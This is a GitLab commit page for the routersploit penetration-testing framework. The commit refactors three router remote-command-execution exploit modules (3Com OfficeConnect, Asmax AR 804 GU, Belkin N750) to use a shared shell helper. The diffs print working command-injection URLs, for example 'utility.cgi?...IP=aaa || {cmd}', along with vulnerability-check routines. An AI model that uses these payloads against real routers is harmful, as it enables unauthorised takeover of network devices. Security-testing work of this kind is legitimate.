Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
026ebb9b
Commit
026ebb9b
authored
Jan 24, 2017
by
lucyoa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding shell utility
parent
77402f6b
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
10 additions
and
38 deletions
+10
-38
officeconnect_rce.py
routersploit/modules/exploits/3com/officeconnect_rce.py
+4
-16
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+2
-10
n750_rce.py
routersploit/modules/exploits/belkin/n750_rce.py
+4
-12
No files found.
routersploit/modules/exploits/3com/officeconnect_rce.py
View file @
026ebb9b
...
@@ -3,11 +3,11 @@ from routersploit import (
...
@@ -3,11 +3,11 @@ from routersploit import (
print_success
,
print_success
,
print_status
,
print_status
,
print_error
,
print_error
,
print_info
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
validators
,
random_text
,
random_text
,
shell
)
)
...
@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit):
...
@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit):
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
print_status
(
"It is blind command injection - response is not available"
)
print_status
(
"It is blind command injection - response is not available"
)
s
elf
.
command_loop
(
)
s
hell
(
self
,
architecture
=
"mips"
)
else
:
else
:
print_error
(
"Target is not vulnerable"
)
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print_info
(
self
.
execute
(
cmd
))
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
"{}:{}/utility.cgi?testType=1&IP=aaa || {}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
url
=
"{}:{}/utility.cgi?testType=1&IP=aaa || {}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
""
return
""
return
response
.
text
@mute
@mute
def
check
(
self
):
def
check
(
self
):
...
...
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
026ebb9b
...
@@ -6,6 +6,7 @@ from routersploit import (
...
@@ -6,6 +6,7 @@ from routersploit import (
http_request
,
http_request
,
mute
,
mute
,
validators
,
validators
,
shell
)
)
...
@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit):
...
@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit):
if
self
.
check
():
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
s
elf
.
command_loop
(
)
s
hell
(
self
,
architecture
=
"mips"
)
else
:
else
:
print_error
(
"Target is not vulnerable"
)
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
url
=
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
...
...
routersploit/modules/exploits/belkin/n750_rce.py
View file @
026ebb9b
...
@@ -7,6 +7,7 @@ from routersploit import (
...
@@ -7,6 +7,7 @@ from routersploit import (
http_request
,
http_request
,
mute
,
mute
,
validators
,
validators
,
shell
)
)
...
@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit):
...
@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
()
is
True
:
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
s
elf
.
command_loop
(
)
s
hell
(
self
,
architecture
=
"mips"
)
else
:
else
:
print_error
(
"Target is not vulnerable"
)
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
)
url
=
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
...
@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit):
...
@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit):
response
=
self
.
execute
(
cmd
)
response
=
self
.
execute
(
cmd
)
if
mark
in
response
:
if
mark
in
response
:
return
True
# target vulnerable
return
True
# target
is
vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment